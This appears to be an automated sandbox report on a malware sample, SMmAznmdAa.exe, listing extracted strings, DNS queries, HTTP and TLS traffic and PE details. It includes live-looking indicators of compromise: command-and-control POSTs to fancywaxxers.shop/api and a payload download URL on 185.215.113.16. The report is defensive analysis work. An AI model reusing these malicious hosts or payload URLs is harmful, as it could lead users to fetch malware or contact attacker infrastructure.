Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: fancywaxxers.shop
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: SMmAznmdAa.exe, 00000000.00000003.1805307717.000000000193A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: SMmAznmdAa.exe, 00000000.00000002.1900202564.00000000015BB000.00000004.00000010.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805642509.0000000001955000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000002.1900386450.000000000199A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805232419.000000000199A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805307717.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1805307717.0000000001923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SMmAznmdAa.exe, 00000000.00000003.1637211350.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_96.10.dr	String found in binary or memory: http://schema.org/Organization
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_96.10.dr, chromecache_94.10.dr, chromecache_131.10.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_96.10.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_96.10.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_96.10.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SMmAznmdAa.exe, 00000000.00000003.1688310715.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.sho
Source: SMmAznmdAa.exe, 00000000.00000003.1668963495.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637025679.000000000191C000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667341038.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1698271054.000000000199A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.000000000193A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1689009922.000000000193A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: SMmAznmdAa.exe, 00000000.00000003.1698514123.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/)
Source: SMmAznmdAa.exe, 00000000.00000003.1698514123.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/-
Source: SMmAznmdAa.exe, 00000000.00000003.1668963495.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667341038.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/E
Source: SMmAznmdAa.exe, 00000000.00000003.1710511321.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1698514123.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/U
Source: SMmAznmdAa.exe, 00000000.00000003.1637025679.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637211350.0000000001955000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/Z
Source: SMmAznmdAa.exe, 00000000.00000003.1667341038.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: SMmAznmdAa.exe, 00000000.00000003.1637025679.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637211350.0000000001955000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api0
Source: SMmAznmdAa.exe, 00000000.00000003.1668963495.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667341038.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apiF
Source: SMmAznmdAa.exe, 00000000.00000003.1710511321.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apip9
Source: SMmAznmdAa.exe, 00000000.00000003.1637025679.000000000193A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637138567.000000000193C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apit;
Source: SMmAznmdAa.exe, 00000000.00000003.1667191172.00000000062C2000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667276993.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1666983216.00000000062BF000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667175511.00000000062BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/e
Source: SMmAznmdAa.exe, 00000000.00000003.1668963495.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667341038.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/f
Source: SMmAznmdAa.exe, 00000000.00000003.1805307717.0000000001923000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000002.1900386450.0000000001923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api
Source: SMmAznmdAa.exe, 00000000.00000003.1637025679.0000000001923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api-
Source: SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apiMicrosoft
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apitPK
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_96.10.dr	String found in binary or memory: https://github.com/nschonni
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_96.10.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_108.10.dr	String found in binary or memory: https://schema.org
Source: SMmAznmdAa.exe, 00000000.00000003.1669067780.0000000006352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SMmAznmdAa.exe, 00000000.00000003.1669067780.0000000006352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_108.10.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805232419.0000000001990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: SMmAznmdAa.exe, 00000000.00000003.1668742616.0000000006240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: SMmAznmdAa.exe, 00000000.00000003.1669067780.0000000006352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: SMmAznmdAa.exe, 00000000.00000003.1669067780.0000000006352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: SMmAznmdAa.exe, 00000000.00000003.1669067780.0000000006352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SMmAznmdAa.exe, 00000000.00000003.1669067780.0000000006352000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49714 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: SMmAznmdAa.exe	Static PE information: section name:
Source: SMmAznmdAa.exe	Static PE information: section name: .idata
Source: SMmAznmdAa.exe	Static PE information: section name:

Source: SMmAznmdAa.exe, 00000000.00000003.1783450200.00000000066D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1783603152.0000000006804000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1775452318.00000000066E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1772061037.00000000066D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1774284269.00000000066DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1784048431.00000000066D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769516491.00000000063C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1771120122.0000000006781000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1790589101.00000000066D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1786350756.000000000680B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1771456187.00000000066D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1789207107.000000000694A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1782388269.00000000066D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1774895285.00000000067AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1790016866.0000000006962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1789818659.000000000681E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1771749275.00000000066DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
Source: SMmAznmdAa.exe, 00000000.00000003.1769299160.0000000006492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs SMmAznmdAa.exe
